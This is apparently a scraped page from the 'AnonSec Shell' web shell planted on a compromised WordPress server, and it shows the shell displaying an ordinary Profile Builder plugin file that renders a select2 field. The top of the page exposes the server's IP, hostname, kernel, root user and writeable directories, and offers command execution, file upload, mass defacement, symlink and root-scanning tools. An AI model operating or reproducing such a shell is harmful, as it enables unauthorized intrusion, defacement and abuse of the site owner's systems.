AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.144.34.110   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/profile-builder/assets/lib/wck-api/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/profile-builder/assets/lib/wck-api/fields/select-2-multiple.php
<?php
/* @param string $meta Meta name.
 * @param array $details Contains the details for the field.
 * @param string $value Contains input value;
 * @param string $context Context where the function is used. Depending on it some actions are preformed.;
 * @return string $element input element html string. */

$id = esc_attr( Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details ) );
if( !empty( $frontend_prefix ) )
    $id = $frontend_prefix.$id;

$element .= '<select name="'. $single_prefix . esc_attr( Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details ) ) .'[]"  id="'.$id.'"';
$element .= '" class="mb-select-2 mb-field" multiple>';

if( !empty( $details['default-option'] ) && $details['default-option'] )
    $element .= '<option value="">'. __('Select or type in an option', 'profile-builder') .'</option>';

$field_name = Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details );

// we're passing this further to a function. Need to make sure it exists so we don't get a notice.
if( empty( $details['value'] ) ){
    $details['value'] = false;
}

$options = '';
if( !empty( $details['options'] ) ){

    $new_nonexisting_value = true;

    if ( !is_array( $value ) && strpos( $value, ', ' ) )
        $value = explode( ', ', $value );


    $i = 0;
    foreach( $details['options'] as $option ){
        $optionOutput = Wordpress_Creation_Kit_PB::wck_generate_select_option($option, $details['value'], $i, $value);
        $options .= apply_filters("wck_select_{$meta}_{$field_name}_option_{$i}", $optionOutput, $i);

        $i++;

        if( is_array( $value ) ) {
            if( strpos( $option, '%' ) !== false ) {
                $option_parts = explode( '%', $option );

                if( !empty( $option_parts ) && empty( $option_parts[0] ) && count( $option_parts ) == 3 ) {
                    $slug = $option_parts[2];
                }

                if( in_array( $slug, $value ) )
                    $new_nonexisting_value = false;
            }
        }
        elseif( !empty( $value ) && !is_array( $value ) && ( $option === $value || strpos( $option, '%'.$value ) !== false ) )
            $new_nonexisting_value = false;

    }

    //display the custom value that was inserted with select 2 that was not present in options
    if( $new_nonexisting_value )
        $options .= '<option value="'. esc_attr( $value ) .'"  '. selected( $value, $value, false ) .' >'. esc_html( $value ) .'</option>';
}

$element .= apply_filters( "wck_select_{$meta}_{$field_name}_options", $options );
$element .= '</select>';
$element .= '<script type="text/javascript">
                if( typeof jQuery.fn.select2 === "undefined" ) {
                    jQuery( function() {
                        jQuery( ".mb-select-2").select2({ tags: true, placeholder: "Select or type in an option" });
                    });
                }
                else jQuery( ".mb-select-2").select2({ tags: true, placeholder: "Select or type in an option" });
             </script>';






Anon7 - 2022
AnonSec Team